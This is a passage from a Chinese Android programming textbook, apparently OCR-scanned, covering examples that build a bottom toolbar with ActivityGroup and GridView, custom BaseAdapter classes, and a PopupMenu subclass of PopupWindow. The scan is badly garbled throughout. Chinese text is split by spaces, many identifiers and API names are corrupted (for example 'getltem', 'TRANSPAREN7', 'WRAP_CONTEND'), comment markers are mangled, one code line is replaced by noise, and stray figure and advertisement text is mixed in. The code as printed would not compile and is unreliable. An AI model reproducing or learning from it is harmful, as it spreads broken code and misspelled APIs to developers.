public static final int PROGRESS SECONDARY START 常量 | 第 二 进度 条 开始 

public static final int PROGRESS _ SECONDARY END 量 | 第 二 进度 条 结束 

public abstract View getDecorView0 普 和 取得 顶端 视图 

public abstract LayoutInflater getLayoutInflaterO 取得 LayoutInflater 对 象 


public WindowManager getWindowManage; 取得 WindowManager 对 象 
public final Context getContext 取得 Context 对 象 


在 Window 对 象 中 有 一 个 getDecorView0 方 法 , 此 方法 可 以 返回 一 个 顶端 视图 的 View 对 象 ， 
即 ViewGroup，ViewGroup 是 对 一 组 View 的 管理 ， 其 中 可 以 包含 多 个 View 组 件 ， 可 以 使 用 
findViewById0 方 法 找到 具体 View。 


“了 提示 


ViewGroup 子 类 。 
android.view.ViewGroup 类 的 对 象 中 会 包含 多 种 View 组 件 ， 如 LinearLayout、FrameLayout、 
RelativeLayout 都 是 该 类 的 子 类 ， 而 这 些 布局 管理 器 中 都 可 以 包含 多 种 View 组 件 。 


另外 , 在 本 程序 中 为 了 让 内 容 显 示 更 加 合理 ， 将 采用 如 下 方式 动态 地 取得 手机 的 宽 度 和 高 度 : 

int width = ED oad Mor) oo re : // 取 得 手机 宽度 

int height = super.getWindowManager().getDefaultDisplay().getHeight() ; // 取 得 手机 高 度 

下 面 通过 实际 的 代码 进行 讲解 
【 例 9-35】 定义 Activity 程序 要 使 用 的 其 他 布局 管理 器 一 一 mylayout.xml 

<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView // 图 片 显示 组 件 

android:layout_width="fill_parent”" // 图 片 宽度 为 屏幕 宽度 

android:layout_height="fill_ parent” // 图 片 高 度 为 屏幕 高 度 

android:src="@drawable/android_book" /> // 默 认 显示 图 片 
</LinearLayout> 


本 布局 管理 器 的 主要 功能 是 进行 图 片 的 显示 ， 当 用 户 切换 Activity 之 后 ， 会 使 用 此 布局 管理 器 。 
【 例 9-36】 定义 要 操作 的 子 Activity 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

public class MyActivity extends Activity { 
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@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.mylayout); // 调 用 布局 管理 器 


| 
由 于 程序 要 演示 的 主要 功能 是 菜单 的 切换 操作 , 所 以 本 Activity 程序 只 是 完成 了 调用 布局 管 
理 器 显示 的 功能 ， 并 没有 做 任何 的 其 他 操作 ， 用 户 可 以 根据 自己 的 业务 需求 ， 编 写 相应 的 程序 。 
【 例 9-37】 配置 AndroidManifestxml 文件 ， 定 义 Activity 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http://schemas.android.com/apK/res/android" 


package="org./xh.demo” // 程 序 所 在 的 包 名 称 
android:versionCode="1" // 程 序 的 版 本 
android:versionName="1.0"> // 显 示 给 用 户 的 版 本 信息 
<uses-sdk android:minSdkVersion="10"/> // 最 低 运 行 级 别 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon” /应 用 程序 的 图 标 _ 
android:label="@string/app_name"> 
<activity // 定 义 Activity 程序 
android:name="MyActivityGroupProjectDemo"l/ 程 序 所 在 类 名 称 
android:label="@string/app_name’”> // 程 序 显 示 的 标题 名 称 
<intent-filter> // 程 序 从 此 Activity 开始 执行 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 
<activity // 配 置 Activity 程序 
android:name="MyActivity” // 程 序 的 类 名 称 
android:label="@string/app_name" /> // 程 序 的 标题 
</application> 
</manifest> 


本 程序 主要 是 在 AndroidManifest.xml 文件 中 配置 一 些 新 的 Activity 程序 ， 这 样 可 以 在 工具 

栏 切换 时 执行 相应 的 程序 显示 。 
【 例 9-38】 定义 ImageAdapter.java， 用 于 显示 工具 条 

package org.Ixh.demo; 

import android.content.Context; 

import android.view.View; 

import android.view.ViewGroup; 

import android.widget.BaseAdapter; 

import android.widget.GridView; 

import android.widget.ImageView; 

public class MenulmageAdapter extends BaseAdapter { /| 继承 BaseAdapter 


private Context context; /传递 上 下 文 对 象 
private ImageView[] menulmg; /保存 所 有 标签 的 图 片 显示 
private int selectedMenulmg; /保存 选中 的 ImageView 索引 


jp 
* 创建 一 个 MenulmageAdapter 类 的 实例 
* @param context 上 下 文 对 象 
* @param imglds 所 有 的 图 片 资源 的 ID 集合 
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* @param width ImageView 组 件 的 宽度 
* @param height ImageView 组 件 的 显示 高 度 
* @param selectedMenulmg 选中 的 ImageView 的 ID 
a 
public MenulmageAdapter(Context context, int imglds[], int width, 


int height, int selectedMenulmg) { // 构 造 接收 参数 
this.context = context; /接收 Context 对 象 
this.selectedMenulmg = selectedMenulmg:; /接收 选中 的 ID 
this.menulmg = new ImageViewfimglds.length]; /实例 化 ImageView 数组 
for (int x = 0; x < imglds.length; x++){ // 实 例 化 每 一 个 ImageView 


this.menulmg[x] = new ImageView(this.context); /实例 化 ImageView 对 象 
this.menulmg[x].setLayoutParams(new GridView.LayoutParams(width， 


height)); // 定 义 图 片 的 布局 参数 
this.menulmg[x].setAdjustViewBounds(false); // 不 调整 边界 
this.menulmg[x].setPadding(3, 3, 3, 3); // 设 置 边 距 
this.menulmg[x].setlmageResource(imglds[x]); /设置 显示 图 片 
} 
} 
@Override 
public int getCount() { // 返 回 全 部 数据 个 数 
return this.menulmg.length; 
} 
@Override 
public Object getltem(int position) { // 取 得 指定 位 置 的 对 象 
return this.menulmg[position]; 
} 
@Override 
public long getltemld(int position) { // 取 得 对 象 的 1D 
return 0; 
} 
@Override 


public View getView(int position, View convertView, ViewGroup parent) { 
ImageView imgView = null; 


if (convertView == null) { // 判 断 是 否 存 在 转换 的 视图 
imgView = this.menulmg[position]; // 取 得 已 有 的 视图 
}else{ 
imgView = (ImageView) convertView; // 取 得 已 有 的 视图 
} 
return imgView; // 返 回 视图 
} 
public void setFocus(int selld) { // 选 中 选项 时 触发 
for (int x = 0; x < this.menulmg.length; x++){ 
if (x I= selld) { // 不 是 当前 选中 项 
this.menulmg[x].setBackgroundResource(0); /取消 背景 图 片 
} 
} 
this.menulmg[selld].setBackgroundResource(this.selectedMenulmg); 。 // 设 置 背 景 
} 


} 
本 程序 直接 实现 了 一 个 自 定义 的 MenuImageAdapter 类 ， 直 接 继承 了 BaseAdapter 类 ， 并 且 
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禾 写 了 类 中 的 相关 操作 方法 ， 在 此 类 中 ， 就 是 将 所 有 传 入 的 图 片 资源 变 为 InageView 显示 ， 而 
唯一 特别 的 就 是 定义 了 一 个 setFocus() 方 法 ， 此 方法 的 主要 功能 是 当 用 户 选中 了 某 些 选项 之 后 ， 
可 以 为 其 设置 一 张 已 选中 的 背景 图 片 。 

【 例 9-39】 定义 布局 管理 器 一 一 main.xml 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertica/" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<RelativeLayout // 相 对 布局 管理 器 

android:layout_height="fil_parent” // 布 局 管理 器 高 度 为 屏幕 高 度 

android:layout_width="fill_parent”> // 布 局 管理 器 宽度 为 屏幕 宽度 

<LinearLayout // 内 赃 线 性 布局 管理 器 
android:id="@+id/content”" // 布 局 管理 器 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content> // 布 局 管理 器 高 度 为 内 部 组 件 高 度 

</LinearLayout> // 内 赃 线 性 布局 管理 器 完结 

<GridView // 定 义 GridView 组 件 
android:id="@+id/gridviewbar” // 组 件 ID， 程 序 中 使 用 
android:layout_height="wrap_content”" // 组 件 高 度 为 自身 高 度 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_alignParentBottom="true” // 屏 幕 底 部 对 齐 
android:fadingEdgeLength="5px" // 边 缘 的 退色 长 度 
android:fadingEdge="Vertica/”> /垂直 退色 显示 

</GridView> 

</RelativeLayout> 
</LinearLayout> 


本 程序 定义 了 两 个 组 件 。 

回 线性 布局 管理 器 (content) : 用 于 显示 所 有 的 标签 内 容 。 
加 网 格 视图 (gridviewbar) : 用 于 进行 工具 条 的 显示 。 
【 例 9-40】 定义 Activity 程序 ， 完 成 切换 (分 段 讲 解 ) 

package org.Ixh.demo; 

import android.app.ActivityGroup; 

import android.app.AlertDialog; 

import android.app.Dialog; 

import android.content.Dialoglnterface; 

import android.content. Intent; 

import android.graphics.Color; 

import android.graphics.drawable.ColorDrawable; 

import android.os.Bundle; 

import android.view.Gravity; 

import android.view.KeyEvent; 

import android.view.View; 

import android.view.ViewGroup.LayoutParams; 

import android.view.Window: 

import android.widget.AdapterView; 

import android.widget.AdapterView.OnltemClickListener; 

import android.widget.GridView:; 
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import android.widget.LinearLayout; 
public class MyActivityGroupProjectDemo extends ActivityGroup { /| 继承 ActivityGroup 


private GridView gridviewToolbar; /定义 GridView 工具 条 
private MenulmageAdapter menu = null; /图 片 适配器 
private LinearLayout content = null; /显示 内 容 的 布局 管理 器 


private int menu_img[ = new intl] { R.drawable.menu_main, 
R.drawable.menu_news, R.drawable.menu_sms, R.drawable.menu_more, 


R.drawable.menu_exit }; // 图 片 显 示 资 源 ID 
private int width = 0 ; // 保 存 每 个 菜单 图 片 宽度 
private int height = 0 ; // 保 存 菜单 项 的 高 度 
private Intent intent = null; // 要 操作 的 Intent 

本 程序 为 ActivityGroup 程序 的 主体 类 ， 其 中 定义 的 对 象 或 变量 的 作用 如 下 。 

GridView gridviewToolbar: 用 于 显示 底部 工具 条 , 所 有 的 组 件 按照 GridView 列表 显示 。 
回 MenuImageAdapter menu = null: 显示 操作 的 适配器 对 象 ， 用 于 进行 工具 栏 的 切换 。 

回 LinearLayout content = null: 用 于 显示 所 有 子 Activity 程序 内 容 的 布局 管理 器 对 象 。 

回 intmenu img[]: 工具 栏 菜单 的 显示 图 片 项 。 

回 int width: 保存 底部 菜单 栏 中 每 一 个 显示 菜单 项 图 片 的 宽度 ， 通 过 计算 求 出 。 

int height， 保 存 底部 菜单 栏 的 高 度 。 

回 Intent intent:， 用 于 打开 指定 Activity 程序 的 Intent 对 象 。 

@Override 


public void onCreate(Bundle savedInstanceState) { 


} 


Super.onCreate(savedlnstanceState); 
super.requestWindowFeature(Window.FEATURE_NO_TITLE); // 不 显示 标题 
super.setContentView(R.layout.main); /调用 布局 管理 器 
this.gridviewToolbar = (GridView) super .findViewByld(R.id.gridviewbar); 
this.content = (LinearLayout) super.findViewByld(R.id.contenb; /取得 组 件 


this.gridviewToolbar.setNumColumns(this.menu_img.length); /设置 每 行 的 显示 列 数 
// 选 项 选中 时 为 透明 色 
this.gridviewToolbar.setSelector(new ColorDrawable(Color. TRANSPAREN)); 
this.gridviewToolbar.setGravity(Gravity.CENTER); /居中 显示 
this.gridviewToolbar.setVerticalSpacing(0); // 垂 直 间 隔 为 0 
this.gridviewToolbar.setBackgroundColor(Color.DKGRAY); 1/ 背 景 颜色 设置 为 灰色 
this.width = super.getWindowManager().getDefaultDisplay().getWidth() 

/ this.menu_img.length; // 计 算 平均 宽度 
this.height = super.getWindowManager().getDefaultDisplay().getHeight() 

/8; // 高 度 
this.menu = new MenulmageAdapter(this, this.menu_img, this.width, 

this.height, R.drawable.menu_selected); 1/ 实例 化 适配器 
this.gridviewToolbar.setAdapter(this.menu); /设置 显示 数据 
this.switchActivity(0); // 默 认 打开 第 一 个 
this.gridviewToolbar.setOnltemClickListener( 

new OnltemClickListenerImpl()); // 选 中 监 


onCreate() 方 法 的 功能 与 之 前 直接 继承 自 Activity 类 所 履 写 的 onCreate() 方 法 功能 一 致 。 在 本 程 
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序 中 , 首先 为 了 显示 美观 , 将 程序 中 的 标题 取消 (superrequestWindowFeature(Window.FEATURE 
NO_TIILE)) ， 而 后 通过 main.xml 布局 管理 器 取得 了 每 一 个 显示 的 组 件 ， 并 对 用 于 工具 栏 菜单 
显示 的 组 件 GridView 进行 了 若干 配置 ， 且 进行 相应 的 事件 绑 定 。 
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private class OnltemClickListenerImpl implements OnltemClickListener { 
@Override 
public void onltemClick(AdapterView<?> parent, View view, int position, 
long id){ 
MyActivityGroupProjectDemo this.switchActivity(position); /切换 选项 
} 
} 
在 本 程序 中 ， 会 根据 用 户 选中 的 菜单 项 的 ID 切换 不 同 的 显示 效果 (在 选中 项 后 增加 一 个 显 
示 的 底 图 进行 区 分 ) 。 
/性 
* 根据 ID 打开 指定 的 Activity 
* @param id GridView 选中 项 的 序号 
a 


private void switchActivity(int id) { // 切 换 视图 
this.menu.setFocus(id); // 选 中 项 获得 高 亮 
this.content.removeAllViews(); // 先 清除 容器 中 所 有 View 
switch (id) { /实例 化 Intent 
case 0: /指定 操作 的 Intent 
this.intent = new Intent(MyActivityGroupProjectDemo.this, 
MyActivity.class); 
break; 
case 1: // 指 定 操作 的 Intent 
this.intent = new Intent(MyActivityGroupProjectDemo.this, 
MyActivity.class); 
break; 
case 2: /指定 操作 的 Intent 
this.intent = new Intent(MyActivityGroupProjectDemo.this, 
MyActivity.class); 
break; 
case 3: /指定 操作 的 Intent 
this.intent = new Intent(MyActivityGroupProjectDemo.this, 
MyActivity.class); 
break' 
case 4: /指定 操作 的 Intent 
this.exitDialog(); // 退 出 判断 
return; 
} 


this.intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);”// 增 加 标记 
Window subActivity = this.getLocalActivityManager().startActivity( 
"subActivity", this.intent); /Activity 转 为 View 
this.content.addView(subActivity.getDecorView!(), 
LayoutParams.FILL_PARENT, LayoutParams.FILL_PAREN7); /容器 添加 View 
switchActivity0 的 主要 功能 是 根据 用 户 选择 菜单 项 的 不 同 ， 切 换 到 不 同 的 Activity 程序 ， 但 
是 在 本 程序 中 ,为 了 简化 用 户 的 操作 ， 所 有 的 程序 都 切换 到 了 同一 个 Activity 程序 (MyActivity. 
java) ， 而 最 后 一 个 按钮 的 作用 是 退出 程序 。 
private void exitDialog() { 
Dialog dialog = new AlertDialog.Builder( 
MyActivityGroupProjectDemo this) // 实 例 化 对 象 
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.setlcon(R.drawable.pic_m) /设置 显示 图 片 
.setTitle(" 程 序 退 出 ? ") /设置 显示 标题 
-setMessage(" 您 确定 要 退出 本 程序 吗 ? ) /设置 显示 内 容 
.setPositiveButton(" 确 定 "， // 增 加 一 个 确定 按钮 
new DialogInterface.OnClickListener() { // 设 置 操作 监 
public void onClick(Dialoglnterface dialog, 
int whichButton) { // 单 击 事件 
MyActivityGroupProjectDemo this finish();// 程 序 结 束 
》).setNegativeButton(" 取 消 "， /增加 取消 按钮 
new Dialoglnterface.OnClickListener() { /设置 操作 监听 
public void onClick(Dialoglnterface dialog, 
int whichButton) { // 单 击 事件 
MyActivityGroupProjectDemo.this 
.SwitchActivity(0); 
}).create(); 1/ 创建 Dialog 
dialog.show(); /显示 对 话 框 


exitDialog() 方 法 曾经 在 第 7 章 中 讲解 过 ,其 功能 是 提示 是 否 退 出 程序 ， 如果 用 户 不 退出 ， 则 
将 按钮 切换 回 第 一 个 选项 选中 时 的 状态 。 


@Override 
public boolean onKeyDown(int keyCode, KeyEvent event) { 
if (keyCode == KeyEvent.KEYCODE_BACK) { // 如 果 是 手机 上 的 返回 键 
this.exitDialog(); /提示 退出 对 话 框 


return false; 
} 
} 
onKeyDown() 方 法 的 主要 功能 是 当 用 户 按 下 “返回 ” 键 之 后 ， 进 行 退 出 确认 操作 的 实现 ， 程 
序 的 运行 效果 如 图 9-28 所 示 。 


CEE7TTTE 


届 程序 退出 ? 


魔 乐 互 


3G 项 目 开发 部 
拥有 专业 3G 项 目 开 : 


承接 各 类 3G 项 目 开发 
www.mldnisoft.com 


定 要 退出 本 程序 吗 ? 


丁 冰 国人 号 


(a) 显示 首页 (b) 程序 退出 
图 9-28 使 用 ActivityGroup 显示 工具 栏 


384 


第 9 章 Android 组 件 通信 


以 上 程序 只 是 使 用 ActivityGroup 实现 了 一 个 
底部 菜单 栏 的 功能 , 但 是 如 果菜 单项 较 多 , 很 明显 ， 
只 单纯 地 依靠 底部 菜单 栏 是 无 法 完全 显示 的 ,所 以 
在 手机 中 经 常会 见 到 如 图 9-29 所 示 的 菜单 项 。 这 
种 菜单 项 是 使 用 弹出 窗口 的 功能 实现 的 , 即 当 用 户 
触发 了 某 些 操作 (通常 是 按钮 ) 后 ， 可 以 弹出 一 个 
新 的 窗口 (PopupWindow 组 件 ) 进行 菜单 的 显示 ， 
但 是 要 想 实 现 这 种 菜单 项 也 是 较 麻烦 的 , 下面 将 在 
之 前 ActivityGroup 组 件 的 基础 上 继续 扩充 ， 完 成 


图 9-29 所 示 的 复杂 菜单 项 。 图 9-29 菜单 项 
/提示 
本 程序 只 列 出 部 分 代码 。 


由 于 本 程序 需要 大 量 的 代码 ， 而 且 要 在 之 前 程序 的 基础 上 进行 修改 ， 所 以 下 面 只 讲解 扩 
充 及 更 新 的 部 分 ， 重 复 的 代码 不 再 列 出 ， 如 果 需 要 完整 代码 ， 可 以 直接 查找 光盘 代码 路 径 : 
“0300 第 三 部 分 : Android 高 级 开发 \0309 Android 组 件 通信 \03090302 ActivityGroup + 
PopupMenu ( 复杂 菜单 ) ”。 


在 进行 代码 的 具体 实现 之 前 ， 先 来 分 析 弹 出 菜单 的 组 成 部 分 ， 如 图 9-30 所 示 。 


钱 性 布局 


图 9-30 弹出 菜单 的 组 成 


通过 图 9-30 可 以 发 现 ， 弹 出 菜单 实际 上 是 由 多 种 组 件 拼凑 组 成 的 ， 首 先 菜单 标题 项 是 由 一 
个 GridView 组 件 实现 的 ， 而 所 有 的 菜单 主体 项 也 是 由 GridView 组 件 实现 的 ， 而 且 当 标 题 栏 的 
GridView 指定 项 被 选中 时 ， 要 改变 选中 项 和 未 选中 项 的 底 色 ， 所 以 需要 一 个 专门 为 标题 栏 设置 显示 
内 容 的 适配器 (PopupMenuTitleAdapter) 和 一 个 显示 菜单 主体 项 的 适配器 (PopupMenuBodyAdapter)， 
这 两 个 适配器 都 要 继承 BaseAdapter 父 类 完成 ， 对 于 标题 栏 中 所 有 的 显示 文字 ， 都 在 res\values\ 
strings.xml 文件 中 定义 。 

【 例 9-41】 定义 标题 栏 文字 一 一 strings.xml 
<?xml version="1.0" encoding="utf-8"?> 


<resources> 
<string name="hello">Hello World, MyActivityGroupProjectDemol</string> 
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<string name="app_name">ActivityGroup 显示 标签 </string> 
<string name="popmenu_common"> 常 用 </string> 

<string name='"popmenu_set> 设 置 </string> 

<string name="popmenu_too/"> 工 具 </string> 


</resources> 

本 文件 中 定义 了 3 个 标题 栏 的 显示 信息 ， 都 使 用 “popmenu *” 的 形式 表示 。 
【 例 9-42】 定义 标题 栏 显示 内 容 的 适配器 一 一 PopupMenuTitleAdapter.java 

package org.Ixh.demo; 

import android.content.Context; 

import android.graphics.drawable.ColorDrawable; 

import android.view.Gravity; 

import android.view.View; 

import android.view.ViewGroup; 

import android.widget.BaseAdapter 

import android.widget. TextView; 

public class PopupMenuTitleAdapter extends BaseAdapter { 


private TextView menuTitlel] = null; // 定 义 文字 显示 组 件 
private int fontColor; // 文 字 颜 色 

private int selectedColor; // 选 中 颜色 

private int unSelectedColor; // 未 选中 颜色 


public PopupMenuTitleAdapter(Context context, int[ titlelds, 
int fontColor, int fontSize, int selectedColor, int unSelectedColor) { 
this.fontColor = fontColor; 
this.selectedColor = selectedColor; 
this.unSelectedColor = unSelectedColor; 
this.menuTitle = new TextViewltitlelds.length]; 
for (int x = 0; x < titlelds.length; x++) { 
this.menuTitle[x] = new TextView(context);，”// 实 例 化 组 件 
this.menuTitle[x].setText(titlelds[x]); // 设 置 显 示 文 字 
this.menuTitle[x].setTextSize(fontSize); // 设 置 文字 大 小 
this.menuTitle[x].setTextColor(fontColor); // 设 置 文本 颜色 
this.menuTitle[x].setGravity(Gravity.CENTER); /居中 对 齐 
this.menuTitle[x].setPadding(10, 10, 10, 10); ”// 设 置 边 距 
} 
} 
@Override 
public int getCount() { // 取 得 个 数 
return this.menuTitle.length; 
1 
@Override 
public Object getltem(int position) { // 取 得 每 一 项 的 信息 
return this.menuTitle[position]; 
} 
@Override 
public long getltemld(int position) { // 取 得 指定 项 的 ID 
return this.menuTitle[position].getld(); 
} 
@Override 
public View getView(int position, View convertView, ViewGroup parent) { 
View view = null; // 定 义 View 组 件 
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if (convertView == null) { // 转 换 组 件 不 存在 
view = this.menuTitle[position]; // 取 出 已 有 的 组 件 
}else{ 
view = convertView: // 使 用 已 有 组 件 
} 
return view; // 返 回 组 件 
} 
public void setFocus(int index) { // 选 中 时 显示 配置 
for (int x = 0; x < this.menuTitle.length; x++) { 
if (x l= index) { // 不 是 选中 的 索引 
this.menuTitle[x].setBackgroundDrawable(new ColorDrawable( 
this.unSelectedColor)); // 设 置 没 有 选中 的 颜色 
this.menuTitle[x].setTextColor(fontColor); /设置 没有 选中 项 的 字体 颜色 
} 
} 
this.menuTitle[index].setBackgroundColor(O0x00); /设置 选中 项 的 颜色 
this.menuTitle[index].setTextColor(this.selectedColor); ”// 设 置 选 中 项 的 字体 颜色 
} 


} 
【 例 9-43】 定义 菜单 项 显示 的 适配器 一 一 PopupMenuBodyAdapter.java 
package org.Ixh.demo; 
import android.content.Context; 
import android.view.View; 
import android.view.ViewGroup; 
import android.widget.BaseAdapter 
import android.widget.ImageView; 
public class PopupMenuBodyAdapter extends BaseAdapter { 


private ImageView[] menulmg = null; /保存 所 有 图 片 资源 
public PopupMenuBodyAdapter(Context context, int[] piclds) { 
this.menulmg = new ImageView[piclds.length]; // 开 辟 对 象 数组 
for (intx = 0; x < piclds.length; x++){ 
this.menulmg[x] = new ImageView(context); // 定 义 每 一 个 图 片 组 件 
this.menulmg[x].setImageResource(piclds[x]); // 设 置 显示 图 片 
1 
} 
@Override 
public int getCount() { // 取 得 个 数 
return this.menulmg.length; 
} 
@Override 
public Object getltem(int position) { // 取 得 每 一 项 的 信息 
return this.menulmg[position]; 
} 
@Override 
public long getltemld(int position) { // 取 得 指定 项 的 ID 
return this.menulmg[position].getld(); 
! 
@Override 
public View getView(int position, View convertView, 


ViewGroup parent) { // 取 得 显示 组 件 
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View view = null; /定义 View 对 象 
if (convertView == null) { // 如 果 要 转换 的 组 件 不 存在 
view = this.menulmg[position]; /取出 已 有 的 ImageView 
}else{ 
view = convertView:; // 存 在 ， 则 直接 使 用 已 有 组 件 
} 
return view; // 返 回 组 件 


} 

} 

两 个 适配器 类 编写 完成 之 后 ， 下 面 就 需要 定义 弹出 窗口 组 件 ， 本 程序 的 弹出 菜单 实际 上 是 
采用 PopupWindow 组 件 完成 的 ， 并 在 该 组 件 上 增加 两 个 GridView 组 件 。 一 个 用 于 表示 标题 ; 

-个 用 于 表示 菜单 体 。 而 如 果 采 用 单独 定义 PopupWindow 组 件 ,而 后 再 单独 向 里 面 增加 GridView 
的 方式 比较 复杂 ， 所 以 现在 自 定义 一 个 新 的 组 件 类 一 一 PopupMenu 类 ， 此 类 继承 PopupWindow 
组 件 ， 并 添加 用 户 自己 定义 的 子 组 件 。 
【 例 9-44】 定义 新 的 组 件 类 一 一 PopupMenu.java 

package org.Ixh.demo; 

import android.content.Context; 

import android.graphics.Color; 

import android.graphics.drawable.ColorDrawable; 

import android.view.Gravity; 

import android.widget.AdapterView.OnltemClickListener; 

import android.widget.GridView; 

import android.widget.ImageView; 

import android.widget.LinearLayout; 

import android.widget.LinearLayout.LayoutParams; 

import android.widget.PopupWindow; 


public class PopupMenu extends PopupWindow { /| 继承 PopupWindow 
private GridView popTitle; // 弹 出 标题 
private GridView popBody; // 弹 出 菜单 项 
private PopupMenuTitleAdapter titleAdapter = null; /标题 适配器 
private LinearLayout layout = null; // 线 性 布局 
public PopupMenu(Context context, 
int titlelds[], /文字 ID 
int backgroudColor, // 背 景 颜色 
OnltemClickListener titleCallback, // 标 题 选中 事件 
OnltemClickListener bodyCallback) { // 菜 单项 选中 事件 
super(context); // 调 用 父 类 构造 


thistitleAdapter = new PopupMenuTitleAdapter(context, titlelds, 
0xFF222222, 16, Color.LTGRAY, Color.WHITE);/ 定 义 标题 适配器 


this.layout = new LinearLayout(context); /建立 布局 管理 器 
this.layout.setOrientation(LinearLayout.VERTICAL); // 组 件 垂直 摆 放 
this.popTitle = new GridView(context); /定义 GridView 显示 标题 


this.popTitle.setLayoutParams(new LayoutParams( 
LayoutParams.FILL_PARENT, 


LayoutParams.WRAP_CONTEN)); /设置 组 件 布局 参数 
this.popTitle.setNumColumns(titlelds.length); // 设 置 每 行 显示 数据 的 个 数 
this.popTitle.setHorizontalSpacing(1); /水 平 间距 为 1 
this.popTitle.setVerticalSpacing(1); // 垂 直 间 距 为 1 
this.popTitle.setGravity(Gravity.CENTER); // 居 中 显示 
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this.popTitle.setStretchMode(GridView.STRETCH_COLUMN_WIDTH);// 拉 伸 列 宽 


this.popTitle.setAdapter(this .titleAdapter); // 设 置 适 配器 
this.popTitle.setOnltemClickListener(titleCallback); /设置 事件 监听 
this.popBody = new GridView(context); // 弹 出 菜单 项 


this.popBody.setLayoutParams(new LayoutParams( 
LayoutParams.FILL_PARENT, 
LayoutParams.WRAP_CONTEND)); // 定 义 布 局 参数 
this.popBody.setSelector( 
new ColorDrawable(Color.TRANSPARENT)); /选中 时 为 透明 色 


this.popBody.setNumColumns(5); // 每 行 显示 5 个 选项 
this.popBody.setHorizontalSpacing(1); /水 平 间距 为 1 
this.popBody.setVerticalSpacing(1); // 垂 直 间 距 为 1 
this.popBody.setPadding(10, 10, 10, 10); // 设 置 间距 
this.popBody.setGravity(Gravity.CENTER); /居中 显示 


this.popBody.setStretchMode(GridView.STRETCH_COLUMN_WIDTH);// 拉 伸 列 宽 
this.popBody.setOnltemClickListener(bodyCallback); 。“”// 设 置 事件 监听 


this.layout.addView(this.popTitle); // 增 加 组 件 
this.layout.addView(this.popBody); // 增 加 组 件 
super.setContentView(this.layout); // 增 加 显示 组 件 
super.setWidth(LayoutParams.FILL_PARENT7); // 设 置 显 示 宽度 


super.setHeight(LayoutParams.WRAP_CONTEND7); // 设 置 显 示 高 度 
super.setBackgroundDrawable( 


new ColorDrawable(backgroudColor)); // 设 置 背景 颜色 
super.setFocusable(true); // 获 得 焦点 
} 
public void setPopTitleSelected(int position) { // 选 中 标题 操作 
this.popTitle.setSelection(position); /设置 选中 索引 
this .titleAdapter.setFocus(position); /设置 焦点 
9 
public void setPopBodySelected(int position, int selectedColor) {”// 设 置 选中 项 
int count = this.popBody.getChildCount(); // 取 得 所 有 选项 的 个 数 
for (int x = 0; x < count; x++) { 
if (x != position) { // 没 有 选中 


ImageView img = (ImageView) this.popBody.getChildAt(position); 
img.setBackgroundColor(Color. TRANSPAREN7); /设置 背景 为 透明 色 


1 
} 
ImageView img = (ImageView) this.popBody.getChildAt(position); 
img.setBackgroundColor(selectedColor); // 设 置 背景 颜色 


} 
public void setPopmenuBodyAdapter(PopupMenuBodyAdapter adapter) { 


this.popBody.setAdapter(adapter); // 设 置 菜单 项 适配器 
, 
本 程序 完成 了 一 个 新 的 组 件 类 一 一 PopupMenu， 此 类 直接 继承 PopupWindow， 之 后 在 此 类 
中 通过 传递 各 个 显示 组 件 ， 配 置 弹出 菜单 的 标题 和 菜单 项 的 内 容 ， 所 有 的 资源 利用 两 个 适配器 
分 别 进 行内 容 的 设置 ， 并 保存 在 PopupWindow 组 件 的 布局 管理 器 中 ， 而 后 在 此 类 中 又 定义 了 以 
下 3 不 方 法 5 
setPopTitleSelected(): 当 一 个 指定 标题 被 选中 之 后 定义 选中 的 标题 以 确定 选中 标题 的 
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颜色 。 

回 setPopBodySelected0: 当 一 个 选项 被 选中 时 ， 设 置 选 项 的 底 色 。 

回 setPopmenuBodyAdapter0: 设置 一 个 标题 选中 之 后 所 有 的 菜单 项 信息 。 

本 程序 完成 之 后 ， 基 本 的 弹出 菜单 组 件 就 算 完 成 了 ， 而 下 面 就 可 以 在 之 前 的 ActivityGroup 

程序 中 加 入 这 样 的 菜单 项 ， 下 面 只 给 出 MyActivityGroupProjectDemo.java 程序 的 修改 部 分 代码 。 
(1) 增加 定义 的 属性 ， 以 显示 标题 和 菜单 项 。 

private int commonltemlds[] = new int[l] { R.drawable.common_account, 
R.drawable.common_addmark, R.drawable.common_download, 
R.drawable.common_fullscreen, R.drawable.common_history, 
R.drawable.common_night, R.drawable.common_refresh, 
R.drawable.common_exit }; // 通 用 莱 单 项 

private int setltemlds[] = new int[]] { R.drawable.set_system, 
R.drawable.set_button, R.drawable.set_mode, R.drawable.set_nophoto, 
R.drawable.set_rotation, R.drawable.set_scroll, 
R.drawable.set_skin, R.drawable.set_time }; /设置 菜单 项 

private int toolltemlds[] = new in 名 { R.drawable.too/_back, 
R.drawable.tool_copy, R.drawable.tool_file, R.drawable.tool_help, 
R.drawable.tool_report, R.drawable.tool_save, 


R.drawable.tool_share }; /设置 工具 菜单 项 
private int titlelds[] = new int[] { R.string.popmenuw_commom， 

R.string.popmenu_set, R.string.popmenmu_too/}; /工具 栏 标题 
private PopupMenu popMenu = null ; /定义 弹出 菜单 
private boolean isShow = false ; /是否 显示 弹出 菜单 
private PopupMenuBodyAdapter commonAdapter = null ; // 通 用 莱 单 适 配器 
private PopupMenuBodyAdapter setAdapter = null ; /设置 菜单 适配器 
private PopupMenuBodyAdapter toolAdapter = null ; /工具 莱 单 适配器 


